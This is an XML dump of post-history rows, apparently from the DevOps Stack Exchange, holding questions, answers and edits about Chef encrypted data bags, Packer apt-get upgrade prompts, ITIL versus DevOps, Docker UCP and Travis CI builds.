  <row Id="3808" PostHistoryTypeId="2" PostId="1135" RevisionGUID="f6628e14-df2a-4ec8-9b81-1397053b11b1" CreationDate="2017-05-10T02:37:09.327" UserId="62" Text="A data bag is stored on the chef server itself. My chef days are behind me, but you should be able to enter the data bag content either at the create step or the edit one.&#xD;&#xA;&#xD;&#xA;For the step 2, just execute the command that you copied:&#xD;&#xA;&#xD;&#xA;    knife data bag create passwords mysql --secret-file /tmp/my_data_bag_key" ContentLicense="CC BY-SA 3.0" />
  <row Id="3809" PostHistoryTypeId="2" PostId="1136" RevisionGUID="605faf50-e987-44a9-bbac-8a8f158e3d39" CreationDate="2017-05-10T08:38:45.777" UserId="707" Text="Infrastructure monitoring tools like Nagios or much more &quot;low-level&quot; curl are well known in the DevOps community.&#xD;&#xA;&#xD;&#xA;But, given I would like just to track some APIs in similar manner just in frontend, what are  known more or less mature popular tools or components to support this functionality? i.e. like Nagios but running completely inside the browser (loading static configuration file from server together with the JS libs would be ok)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3810" PostHistoryTypeId="1" PostId="1136" RevisionGUID="605faf50-e987-44a9-bbac-8a8f158e3d39" CreationDate="2017-05-10T08:38:45.777" UserId="707" Text="Site monitoring browser-only tool running in frontend only?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3811" PostHistoryTypeId="3" PostId="1136" RevisionGUID="605faf50-e987-44a9-bbac-8a8f158e3d39" CreationDate="2017-05-10T08:38:45.777" UserId="707" Text="&lt;monitoring&gt;&lt;nagios&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3812" PostHistoryTypeId="6" PostId="1133" RevisionGUID="71135ce8-f5bf-4a21-9105-2abd56b084c7" CreationDate="2017-05-10T09:25:24.280" UserId="2704" Comment="Add OS tag" Text="&lt;configuration-management&gt;&lt;windows&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3813" PostHistoryTypeId="24" PostId="1133" RevisionGUID="71135ce8-f5bf-4a21-9105-2abd56b084c7" CreationDate="2017-05-10T09:25:24.280" Comment="Proposed by 2704 approved by 13 edit id of 338" ContentLicense="CC BY-SA 3.0" />
  <row Id="3814" PostHistoryTypeId="2" PostId="1137" RevisionGUID="475f2748-4982-4c7c-8200-a770cc185ab9" CreationDate="2017-05-10T09:26:04.027" UserId="2704" Text="You have to pass only the repository not the full HTTP URL of the repository when you want to delete it from what I've read in the documentation. So the command should be:&#xD;&#xA;&#xD;&#xA;    ansible-galaxy delete 030 ansible-firewall" ContentLicense="CC BY-SA 3.0" />
  <row Id="3816" PostHistoryTypeId="2" PostId="1138" RevisionGUID="1a3c430e-17c3-405d-b11d-8d4ae2e0cfc1" CreationDate="2017-05-10T11:41:45.593" UserId="838" Text="If your client is ready to invest money then you should go with Docker enterprise edition. In Docker EE you have one tool that is `UCP(Universal Control Plane)` [UCP][1]. By UCP you can create roles and access rights and restrict the user to change/modify containers.&#xD;&#xA;&#xD;&#xA;If you want to test UCP than DDC(Docker Data Center) having one month trial license which will help you to elaborate the things as per your requirements.&#xD;&#xA;&#xD;&#xA;Hope this will help!&#xD;&#xA;&#xD;&#xA;Thank you! &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/datacenter/ucp/1.1/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3817" PostHistoryTypeId="5" PostId="1134" RevisionGUID="e7d132af-48b8-4193-9db1-fdc8dd23f61e" CreationDate="2017-05-10T12:27:29.983" UserId="739" Comment="copy editing" Text="I am very new to [tag:chef] and trying to secure passwords using databags. Unfortunately, I tried in different ways but unable to succeed. I followed different tutorials [first][1] and [second][2]. I understood only two steps but later on I was unable to move forward. &#xD;&#xA;&#xD;&#xA;1. I created secret key using openssl&#xD;&#xA;2. In link1 step 2 says `knife data bag create passwords mysql --secret-file /tmp/my_data_bag_key`&#xD;&#xA; but I don't know where it is creating the databag.&#xD;&#xA;&#xD;&#xA;Can some one guide me from step two? I am trying to secure my database password. I got stuck after creating secret file. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/data_bags.html#encrypt-a-data-bag-item&#xD;&#xA;  [2]: https://www.devops.zone/provisioning/creating-encrypted-databag-chef/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3818" PostHistoryTypeId="24" PostId="1134" RevisionGUID="e7d132af-48b8-4193-9db1-fdc8dd23f61e" CreationDate="2017-05-10T12:27:29.983" Comment="Proposed by 739 approved by 2696 edit id of 340" ContentLicense="CC BY-SA 3.0" />
  <row Id="3819" PostHistoryTypeId="5" PostId="218" RevisionGUID="7d5d63cf-b8fb-4bfe-b531-8cebe7b5bb11" CreationDate="2017-05-10T13:36:22.890" UserId="739" Comment="copy editing" Text="In my opinion, the DevOps culture come along with a methodology change toward [Agile][1] process management.  ITIL is heavily aimed at a clear formalism of the process and the results and thus more adapted to a [Waterfall](https://en.wikipedia.org/wiki/Waterfall_model) model.&#xD;&#xA;&#xD;&#xA;This doesn't mean ITIL is incompatible with Devops, but usually this will be two separate process with different timelines. &#xD;&#xA;I mean that the inclusion of a new product within ITIL referential will usually be delayed until the product/application has been released in production for a while, where early pitfalls and some documentation needed to integrate ITIL has been done and adapted after the product is &quot;live&quot;.&#xD;&#xA;&#xD;&#xA;One of the thing in ITIL is the Service Design, which is assumed to be defined before any development task, an agile process will/may review the design in each iteration, breaking the formalism needed in an ITIL process.&#xD;&#xA;&#xD;&#xA;The main goal of ITIL is, as you said, to provide a framework to ensure nothing is omitted between the design/conception and maintenance phase (Build/Run).  In a devops culture, the whole team is responsible of all phases on long term, hence why the formalism is reducted.&#xD;&#xA;&#xD;&#xA;That doesn't mean we have to forget ITIL, the core principles are absolutely good and, in my opinion, should be used as a checklist to build the initial backlog of a product.&#xD;&#xA;It's just that following the ITIL principle with all its formalism goes against the time to market reduction goal of a quick iterative software development and sometimes is not even applicable as there's less transmission of information needed between teams, as the tasks are done by the same team.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;&#xD;&#xA;&lt;!-- filler to get to 6 --&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3820" PostHistoryTypeId="24" PostId="218" RevisionGUID="7d5d63cf-b8fb-4bfe-b531-8cebe7b5bb11" CreationDate="2017-05-10T13:36:22.890" Comment="Proposed by 739 approved by -1 edit id of 341" ContentLicense="CC BY-SA 3.0" />
  <row Id="3821" PostHistoryTypeId="5" PostId="218" RevisionGUID="b8a04be4-acba-4a01-940a-8ff885f885e8" CreationDate="2017-05-10T13:36:22.890" UserId="13" Comment="copy editing" Text="In my opinion, the DevOps culture come along with a methodology change toward [Agile][1] process management.  &#xD;&#xA;ITIL is heavily aimed at a clear formalism of the process and the results and thus more adapted to a [Waterfall](https://en.wikipedia.org/wiki/Waterfall_model) model.&#xD;&#xA;&#xD;&#xA;This doesn't mean ITIL is incompatible with Devops, but usually this will be two separate process with different timelines. &#xD;&#xA;I mean that the inclusion of a new product within ITIL referential will usually be delayed until the product/application has been released in production for a while, where early pitfalls and some documentation needed to integrate ITIL has been done and adapted after the product is &quot;live&quot;.&#xD;&#xA;&#xD;&#xA;One of the thing in ITIL is the Service Design, which is assumed to be defined before any development task, an agile process will/may review the design in each iteration, breaking the formalism needed in an ITIL process.&#xD;&#xA;&#xD;&#xA;The main goal of ITIL is, as you said, to provide a framework to ensure nothing is omitted between the design/conception and maintenance phase (Build/Run).  In a devops culture, the whole team is responsible of all phases on long term, hence why the formalism is reducted.&#xD;&#xA;&#xD;&#xA;That doesn't mean we have to forget ITIL, the core principles are absolutely good and, in my opinion, should be used as a checklist to build the initial backlog of a product.&#xD;&#xA;It's just that following the ITIL principle with all its formalism goes against the time to market reduction goal of a quick iterative software development and sometimes is not even applicable as there's less transmission of information needed between teams, as the tasks are done by the same team.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;&#xD;&#xA;&lt;!-- filler to get to 6 --&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3822" PostHistoryTypeId="6" PostId="1126" RevisionGUID="0300d978-8aa2-4244-90a0-1380ca87d432" CreationDate="2017-05-10T13:36:34.997" UserId="2704" Comment="Add github tag" Text="&lt;github&gt;&lt;ansible-galaxy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3823" PostHistoryTypeId="24" PostId="1126" RevisionGUID="0300d978-8aa2-4244-90a0-1380ca87d432" CreationDate="2017-05-10T13:36:34.997" Comment="Proposed by 2704 approved by 40, 13 edit id of 339" ContentLicense="CC BY-SA 3.0" />
  <row Id="3824" PostHistoryTypeId="5" PostId="218" RevisionGUID="976464b1-10ed-492a-9782-ed3ea083bae3" CreationDate="2017-05-10T13:45:59.800" UserId="13" Comment="deleted 31 characters in body" Text="In my opinion, the DevOps culture come along with a methodology change toward [Agile][1] process management.  &#xD;&#xA;ITIL is heavily aimed at a clear formalism of the process and the results and thus more adapted to a [Waterfall](https://en.wikipedia.org/wiki/Waterfall_model) model.&#xD;&#xA;&#xD;&#xA;This doesn't mean ITIL is incompatible with Devops, but usually this will be two separate process with different timelines. &#xD;&#xA;I mean that the inclusion of a new product within ITIL referential will usually be delayed until the product/application has been released in production for a while, where early pitfalls and some documentation needed to integrate ITIL has been done and adapted after the product is &quot;live&quot;.&#xD;&#xA;&#xD;&#xA;One of the thing in ITIL is the Service Design, which is assumed to be defined before any development task, an agile process will/may review the design in each iteration, breaking the formalism needed in an ITIL process.&#xD;&#xA;&#xD;&#xA;The main goal of ITIL is, as you said, to provide a framework to ensure nothing is omitted between the design/conception and maintenance phase (Build/Run).  In a devops culture, the whole team is responsible of all phases on long term, hence why the formalism is reducted.&#xD;&#xA;&#xD;&#xA;That doesn't mean we have to forget ITIL, the core principles are absolutely good and, in my opinion, should be used as a checklist to build the initial backlog of a product.&#xD;&#xA;It's just that following the ITIL principle with all its formalism goes against the time to market reduction goal of a quick iterative software development and sometimes is not even applicable as there's less transmission of information needed between teams, as the tasks are done by the same team.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="3825" PostHistoryTypeId="2" PostId="1139" RevisionGUID="676e0af5-0241-483a-9245-07521d61d8ed" CreationDate="2017-05-10T15:23:22.573" UserId="2708" Text="I'm using [Packer][1] to create an AWS AMI based on an Ubuntu 16.04 image. In the beginning, I'm doing an upgrade:&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get upgrade -y&#xD;&#xA;&#xD;&#xA;Here is the relevant part of my provisioners section:&#xD;&#xA;&#xD;&#xA;    &quot;provisioners&quot;: [&#xD;&#xA;	{&#xD;&#xA;      &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;	  &quot;inline&quot;: [&#xD;&#xA;  		&quot;sudo apt-get update&quot;,&#xD;&#xA;  		&quot;sudo apt-get upgrade -y&quot;&#xD;&#xA;	  ]&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;This breaks the automatization, however, as an interactive dialog pops up:&#xD;&#xA;&#xD;&#xA;    amazon-ebs: Found kernel: /boot/vmlinuz-4.4.0-72-generic&#xD;&#xA;    amazon-ebs: A new version of /boot/grub/menu.lst is available, but the version installed&#xD;&#xA;    amazon-ebs: currently has been locally modified.&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: 1. install the package maintainer's version&#xD;&#xA;    amazon-ebs: 2. keep the local version currently installed&#xD;&#xA;    amazon-ebs: 3. show the differences between the versions&#xD;&#xA;    amazon-ebs: 4. show a side-by-side difference between the versions&#xD;&#xA;    amazon-ebs: 5. show a 3-way difference between available versions&#xD;&#xA;    amazon-ebs: 6. do a 3-way merge between available versions (experimental)&#xD;&#xA;    amazon-ebs: 7. start a new shell to examine the situation&#xD;&#xA;&#xD;&#xA;I also tried to set `export DEBIAN_FRONTEND=noninteractive` before (as recommended in [this answer][2]. Unfortunately, it makes no difference.&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA;* Is there a way to get past the iteractive dialog (selecting option 1 would be fine)?&#xD;&#xA;* Is it instead better to avoid upgrades and instead trust that the AMIs are up to date and contain the critical security patches?&#xD;&#xA;&#xD;&#xA;Background: This is the relevant part of my &quot;builders&quot; section, where I configured it to use the latest available AMI:&#xD;&#xA;&#xD;&#xA;    &quot;builders&quot;: [{&#xD;&#xA;      &quot;type&quot;: &quot;amazon-ebs&quot;,&#xD;&#xA;      &quot;region&quot;: &quot;eu-central-1&quot;,&#xD;&#xA;        ...&#xD;&#xA;		&quot;source_ami_filter&quot;: {&#xD;&#xA;			&quot;filters&quot;: {&#xD;&#xA;				&quot;virtualization-type&quot;: &quot;hvm&quot;,&#xD;&#xA;				&quot;name&quot;: &quot;*ubuntu-xenial-16.04-amd64-server-*&quot;,&#xD;&#xA;				&quot;root-device-type&quot;: &quot;ebs&quot;&#xD;&#xA;			},&#xD;&#xA;			&quot;owners&quot;: [&quot;099720109477&quot;],&#xD;&#xA;			&quot;most_recent&quot;: true&#xD;&#xA;		},&#xD;&#xA;      ...&#xD;&#xA;    }]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/&#xD;&#xA;  [2]: https://askubuntu.com/a/190332/117753" ContentLicense="CC BY-SA 3.0" />
  <row Id="3826" PostHistoryTypeId="1" PostId="1139" RevisionGUID="676e0af5-0241-483a-9245-07521d61d8ed" CreationDate="2017-05-10T15:23:22.573" UserId="2708" Text="Packer: How to avoid interactive dialogs when running &quot;apt-get upgrade -y&quot; in Ubuntu 16.04?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3827" PostHistoryTypeId="3" PostId="1139" RevisionGUID="676e0af5-0241-483a-9245-07521d61d8ed" CreationDate="2017-05-10T15:23:22.573" UserId="2708" Text="&lt;amazon-web-services&gt;&lt;amazon-ami&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3828" PostHistoryTypeId="5" PostId="1139" RevisionGUID="6a63c041-5159-4431-a576-6672a6e9cba9" CreationDate="2017-05-10T15:29:30.267" UserId="2708" Comment="added 21 characters in body" Text="I'm using [Packer][1] to create an AWS AMI based on an Ubuntu 16.04 image. In the beginning, I'm doing an upgrade:&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get upgrade -y&#xD;&#xA;&#xD;&#xA;Here is the relevant part of my provisioners section:&#xD;&#xA;&#xD;&#xA;    &quot;provisioners&quot;: [&#xD;&#xA;	  {&#xD;&#xA;        &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;	    &quot;inline&quot;: [&#xD;&#xA;  		  &quot;sudo apt-get update&quot;,&#xD;&#xA;  		  &quot;sudo apt-get upgrade -y&quot;&#xD;&#xA;	    ]&#xD;&#xA;	  }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;This breaks the automatization, however, as an interactive dialog pops up:&#xD;&#xA;&#xD;&#xA;    amazon-ebs: Found kernel: /boot/vmlinuz-4.4.0-72-generic&#xD;&#xA;    amazon-ebs: A new version of /boot/grub/menu.lst is available, but the version installed&#xD;&#xA;    amazon-ebs: currently has been locally modified.&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: 1. install the package maintainer's version&#xD;&#xA;    amazon-ebs: 2. keep the local version currently installed&#xD;&#xA;    amazon-ebs: 3. show the differences between the versions&#xD;&#xA;    amazon-ebs: 4. show a side-by-side difference between the versions&#xD;&#xA;    amazon-ebs: 5. show a 3-way difference between available versions&#xD;&#xA;    amazon-ebs: 6. do a 3-way merge between available versions (experimental)&#xD;&#xA;    amazon-ebs: 7. start a new shell to examine the situation&#xD;&#xA;&#xD;&#xA;I also tried to set `export DEBIAN_FRONTEND=noninteractive` before (as recommended in [this answer][2]. Unfortunately, it makes no difference.&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA;* Is there a way to get past the iteractive dialog (selecting option 1 would be fine)?&#xD;&#xA;* Is it instead better to avoid upgrades and instead trust that the AMIs are up to date and contain the critical security patches?&#xD;&#xA;&#xD;&#xA;Background: This is the relevant part of my &quot;builders&quot; section, where I configured it to use the latest available AMI:&#xD;&#xA;&#xD;&#xA;    &quot;builders&quot;: [{&#xD;&#xA;      &quot;type&quot;: &quot;amazon-ebs&quot;,&#xD;&#xA;      &quot;region&quot;: &quot;eu-central-1&quot;,&#xD;&#xA;        ...&#xD;&#xA;		&quot;source_ami_filter&quot;: {&#xD;&#xA;			&quot;filters&quot;: {&#xD;&#xA;				&quot;virtualization-type&quot;: &quot;hvm&quot;,&#xD;&#xA;				&quot;name&quot;: &quot;*ubuntu-xenial-16.04-amd64-server-*&quot;,&#xD;&#xA;				&quot;root-device-type&quot;: &quot;ebs&quot;&#xD;&#xA;			},&#xD;&#xA;			&quot;owners&quot;: [&quot;099720109477&quot;],&#xD;&#xA;			&quot;most_recent&quot;: true&#xD;&#xA;		},&#xD;&#xA;      ...&#xD;&#xA;    }]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/&#xD;&#xA;  [2]: https://askubuntu.com/a/190332/117753" ContentLicense="CC BY-SA 3.0" />
  <row Id="3829" PostHistoryTypeId="2" PostId="1140" RevisionGUID="0e8aae90-fa1b-4629-892e-468e71697f71" CreationDate="2017-05-10T17:54:17.463" UserId="72" Text="You're omitting the `-y` parameter from your `apt-get update` command.  If you include it, prompt should go away.&#xD;&#xA;&#xD;&#xA;I've built an Ubuntu image with Packer as well.  Here is the shell script I use to perform the update:&#xD;&#xA;&#xD;&#xA;https://github.com/devopskatas/learningvm/blob/master/script/update.sh&#xD;&#xA;&#xD;&#xA;This is derived from a great, well-maintained library of Ubuntu Packer builds:&#xD;&#xA;&#xD;&#xA;https://github.com/boxcutter/ubuntu" ContentLicense="CC BY-SA 3.0" />
  <row Id="3830" PostHistoryTypeId="4" PostId="1139" RevisionGUID="ef141380-4688-4241-a8ce-1f9c31f5d807" CreationDate="2017-05-10T19:01:08.697" UserId="44" Comment="remove title tags" Text="How to avoid interactive dialogs when running &quot;apt-get upgrade -y&quot; in Ubuntu 16.04 when packaging with Packer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3831" PostHistoryTypeId="24" PostId="1139" RevisionGUID="ef141380-4688-4241-a8ce-1f9c31f5d807" CreationDate="2017-05-10T19:01:08.697" Comment="Proposed by 44 approved by 14, 40 edit id of 342" ContentLicense="CC BY-SA 3.0" />
  <row Id="3832" PostHistoryTypeId="5" PostId="1139" RevisionGUID="22c47f22-72ff-4cd0-874c-1e78d1610631" CreationDate="2017-05-10T19:10:49.947" UserId="14" Comment="added 1 character in body" Text="I'm using [Packer][1] to create an AWS AMI based on an Ubuntu 16.04 image. In the beginning, I'm doing an upgrade:&#xD;&#xA;&#xD;&#xA;    sudo apt-get update&#xD;&#xA;    sudo apt-get upgrade -y&#xD;&#xA;&#xD;&#xA;Here is the relevant part of my provisioners section:&#xD;&#xA;&#xD;&#xA;    &quot;provisioners&quot;: [&#xD;&#xA;	  {&#xD;&#xA;        &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;	    &quot;inline&quot;: [&#xD;&#xA;  		  &quot;sudo apt-get update&quot;,&#xD;&#xA;  		  &quot;sudo apt-get upgrade -y&quot;&#xD;&#xA;	    ]&#xD;&#xA;	  }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;This breaks the automatization, however, as an interactive dialog pops up:&#xD;&#xA;&#xD;&#xA;    amazon-ebs: Found kernel: /boot/vmlinuz-4.4.0-72-generic&#xD;&#xA;    amazon-ebs: A new version of /boot/grub/menu.lst is available, but the version installed&#xD;&#xA;    amazon-ebs: currently has been locally modified.&#xD;&#xA;    amazon-ebs:&#xD;&#xA;    amazon-ebs: 1. install the package maintainer's version&#xD;&#xA;    amazon-ebs: 2. keep the local version currently installed&#xD;&#xA;    amazon-ebs: 3. show the differences between the versions&#xD;&#xA;    amazon-ebs: 4. show a side-by-side difference between the versions&#xD;&#xA;    amazon-ebs: 5. show a 3-way difference between available versions&#xD;&#xA;    amazon-ebs: 6. do a 3-way merge between available versions (experimental)&#xD;&#xA;    amazon-ebs: 7. start a new shell to examine the situation&#xD;&#xA;&#xD;&#xA;I also tried to set `export DEBIAN_FRONTEND=noninteractive` before (as recommended in [this answer][2]). Unfortunately, it makes no difference.&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA;* Is there a way to get past the iteractive dialog (selecting option 1 would be fine)?&#xD;&#xA;* Is it instead better to avoid upgrades and instead trust that the AMIs are up to date and contain the critical security patches?&#xD;&#xA;&#xD;&#xA;Background: This is the relevant part of my &quot;builders&quot; section, where I configured it to use the latest available AMI:&#xD;&#xA;&#xD;&#xA;    &quot;builders&quot;: [{&#xD;&#xA;      &quot;type&quot;: &quot;amazon-ebs&quot;,&#xD;&#xA;      &quot;region&quot;: &quot;eu-central-1&quot;,&#xD;&#xA;        ...&#xD;&#xA;		&quot;source_ami_filter&quot;: {&#xD;&#xA;			&quot;filters&quot;: {&#xD;&#xA;				&quot;virtualization-type&quot;: &quot;hvm&quot;,&#xD;&#xA;				&quot;name&quot;: &quot;*ubuntu-xenial-16.04-amd64-server-*&quot;,&#xD;&#xA;				&quot;root-device-type&quot;: &quot;ebs&quot;&#xD;&#xA;			},&#xD;&#xA;			&quot;owners&quot;: [&quot;099720109477&quot;],&#xD;&#xA;			&quot;most_recent&quot;: true&#xD;&#xA;		},&#xD;&#xA;      ...&#xD;&#xA;    }]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/&#xD;&#xA;  [2]: https://askubuntu.com/a/190332/117753" ContentLicense="CC BY-SA 3.0" />
  <row Id="3833" PostHistoryTypeId="2" PostId="1141" RevisionGUID="42305173-b405-4627-ab3e-5f94fc0dff07" CreationDate="2017-05-10T20:05:35.013" UserId="2714" Text="I'm trying to evaluate whether or not it is a good idea to move away from a devops-style workflow to the traditional dev-then-ops (not sure what you call that).&#xD;&#xA;&#xD;&#xA;We are a small 5 person department tucked away within a 4000 employee traditional media (eg non-digital) company.  Two years ago we began building software to allow our department to significantly scale up our production. We've been very successful and the greater company is beginning to take notice.  To date, we have been solely responsible for the design, development and deployment of what has become a ~10 service AWS microservice platform.  Our team doesn't identify  as devops, but without question we are living the devop life, with each developer intimately familiar with both the code and the system it runs on.&#xD;&#xA;&#xD;&#xA;One of the upcoming questions we will face shortly is whether the deployment of our system should be handed over to the existing IT department for our parent company.  Not surprisingly, they have strong expertise in IT, but are unlikely to become involved in the development. I would say that we have a 70/30% split between coding and infrastructure.  &#xD;&#xA;&#xD;&#xA;Our project owner (a non-technical individual) is hoping that by handing off as much work as possible to the IT team we will see a ~1:1 boost in productivity for each hour of ops work that we shed. I'm skeptical about this though.  Our product is still pre-beta (though it's already a significant business asset) and in our limited experience with the IT department there are usually significant delays for things as simple as filesystem permission changes.&#xD;&#xA;&#xD;&#xA;Right now, my ideal solution would be for the IT department to &quot;adopt&quot; us and allow us to continue deploying our own work, while ensuring that we meet the standards &amp; requirements of the IT office.  I'm not sure how realistic that is though.  Plus it is nearly the opposite approach our project owner is advocating since it would add additional ops work in the short term.&#xD;&#xA;&#xD;&#xA;For a situation like this, what are the likely pros/cons of staying devop vs handing off IT?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3834" PostHistoryTypeId="1" PostId="1141" RevisionGUID="42305173-b405-4627-ab3e-5f94fc0dff07" CreationDate="2017-05-10T20:05:35.013" UserId="2714" Text="Pros/cons of discontinuing a devop workflow?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3835" PostHistoryTypeId="3" PostId="1141" RevisionGUID="42305173-b405-4627-ab3e-5f94fc0dff07" CreationDate="2017-05-10T20:05:35.013" UserId="2714" Text="&lt;process&gt;&lt;operating-model&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3836" PostHistoryTypeId="2" PostId="1142" RevisionGUID="734641e6-fed6-442c-85e8-a646c8007a1b" CreationDate="2017-05-10T20:18:40.200" UserId="72" Text="I see some interesting parallels in this story and *The Phoenix Project.*  (Spoilers ahead for the book, if you haven't read it read this anyway :))&#xD;&#xA;&#xD;&#xA;I take it the title for &quot;Notes Day&quot; comes from the term of art in Hollywood, where &quot;notes&quot; are constructive criticism about a work.  In this story, Catmull plays the part of Parts Unlimited CEO Steve Masters.  Catmull accepts that he can learn from his employees how to do a better job, as Masters does in *Phoenix Project* when he does his public mea culpa and apologizes to Bill Palmer.&#xD;&#xA;&#xD;&#xA;In a sense, Catmull is *also* Brent- he's a major constraint.  If his time was so precious, it meant that Pixar was struggling to delegate authority.  It seems  Catmull was critical to every decision, rather than able to set large-scale goals and leave it to employees to figure out how to achieve them.&#xD;&#xA;&#xD;&#xA;An event like this might work well at some companies, less well in others.  I think it's the key idea behind Notes Day that is most valuable: accountability and transparency from the highest levels of management to the last employee.  That value can be spread throughout a company in a variety of big and small ways.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3837" PostHistoryTypeId="5" PostId="982" RevisionGUID="afb62aa6-e6a6-4d02-b770-c2dbfabd803c" CreationDate="2017-05-11T01:00:12.257" UserId="2449" Comment="Move images to newline" Text="The easiest method is to have Eclipse generate an Ant build script for you.&#xD;&#xA;&#xD;&#xA;Right click on your project in the Package Explorer and select **Export** in the context menu. Choose the export type **General -&gt; Ant Buildfiles** and click **Next**.&#xD;&#xA;&#xD;&#xA;![Export menu screenshot][1]&#xD;&#xA;&#xD;&#xA;On the next screen, make sure your project is selected. You can keep leave the options on their default settings. Click **Finish** to generate your `build.xml` file.&#xD;&#xA;&#xD;&#xA;![Generate antfile dialog screenshot][2]&#xD;&#xA;&#xD;&#xA;Lastly, to ensure Travis CI runs the project correctly, [create a .travis.yml in your project's root folder][3]. For Java projects, it should contain at least the following.&#xD;&#xA;&#xD;&#xA;    language: java&#xD;&#xA;    jdk:&#xD;&#xA;      - oraclejdk8&#xD;&#xA;     &#xD;&#xA;    script: ant build&#xD;&#xA;&#xD;&#xA;Source: [Kofun devblog - Using Travis CI with Java Eclipse Project](http://kofun.pl/various/using-trvis-ci-with-java-eclipse-project/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ssp3D.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/W0WDU.png&#xD;&#xA;  [3]: https://docs.travis-ci.com/user/languages/java/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3838" PostHistoryTypeId="2" PostId="1143" RevisionGUID="91986688-c1bf-4780-8b94-21fa8936af54" CreationDate="2017-05-11T08:44:43.793" UserId="2708" Text="This sequence of commands works for me:&#xD;&#xA;&#xD;&#xA;    export DEBIAN_FRONTEND=noninteractive&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get upgrade -yq&#xD;&#xA;&#xD;&#xA;So, `DEBIAN_FRONTEND=noninteractive` is correct but you also need the `-q` flag.&#xD;&#xA;&#xD;&#xA;Source: https://github.com/moby/moby/issues/4032&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3839" PostHistoryTypeId="2" PostId="1144" RevisionGUID="3a781fcf-417b-431a-b890-ac00e01464a0" CreationDate="2017-05-11T09:27:49.267" UserId="13" Text="Your problem is that grub file change adhere to `ucf` and not debconf, as per this [incident on apt list](https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1323772) you're not alone.&#xD;&#xA;&#xD;&#xA;As workaround I found [this answer](https://askubuntu.com/a/262445/398662) on askunbuntu. Removing the `menu.lst` from the UCF configuration system should be enough, for your case:&#xD;&#xA;&#xD;&#xA;    &quot;provisioners&quot;: [&#xD;&#xA;      {&#xD;&#xA;        &quot;type&quot;: &quot;shell&quot;,&#xD;&#xA;        &quot;inline&quot;: [&#xD;&#xA;          &quot;sudo ucf --purge /boot/grub/menu.lst&quot;&#xD;&#xA;          &quot;sudo apt-get update&quot;,&#xD;&#xA;          &quot;sudo UCF_FORCE_CONFFNEW=YES apt-get upgrade -y&quot;&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;This should avoid the grub question. Be warned that any other package using ucf  will also use the maintainer package version, for a creation from a base ami this should not be a problem, but it worth being noted." ContentLicense="CC BY-SA 3.0" />
  <row Id="3840" PostHistoryTypeId="2" PostId="1145" RevisionGUID="d668fccc-d9dc-42f2-8602-1699f1749ef3" CreationDate="2017-05-11T10:27:12.110" UserId="2728" Text="I'm using the following ruby script to encrypt/decrypt chef data bags locally:&#xD;&#xA;https://gist.github.com/anonymous/4923ebeee53fe4d43a1cfb70a2abaadd&#xD;&#xA;&#xD;&#xA;to encrypt:&#xD;&#xA;&#xD;&#xA;`ruby encrypt.rb PATH_TO_SECRET_FILE &lt; UNECRYPTED_DATA_BAG.json &gt; ENCRYPTED_DATA_BAG.json`&#xD;&#xA;&#xD;&#xA;and to decrypt:&#xD;&#xA;&#xD;&#xA;`ruby decrypt.rb PATH_TO_SECRET_FILE &lt; ENCRYPTED_DATA_BAG.json &gt; DECRYPTED_DATA_BAG.json`" ContentLicense="CC BY-SA 3.0" />
  <row Id="3841" PostHistoryTypeId="2" PostId="1146" RevisionGUID="84500e3c-4eae-4f7e-ab18-b1bafb60cd13" CreationDate="2017-05-11T12:58:50.547" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3842" PostHistoryTypeId="1" PostId="1146" RevisionGUID="84500e3c-4eae-4f7e-ab18-b1bafb60cd13" CreationDate="2017-05-11T12:58:50.547" UserId="-1" ContentLicense="CC BY-SA 3.0" />
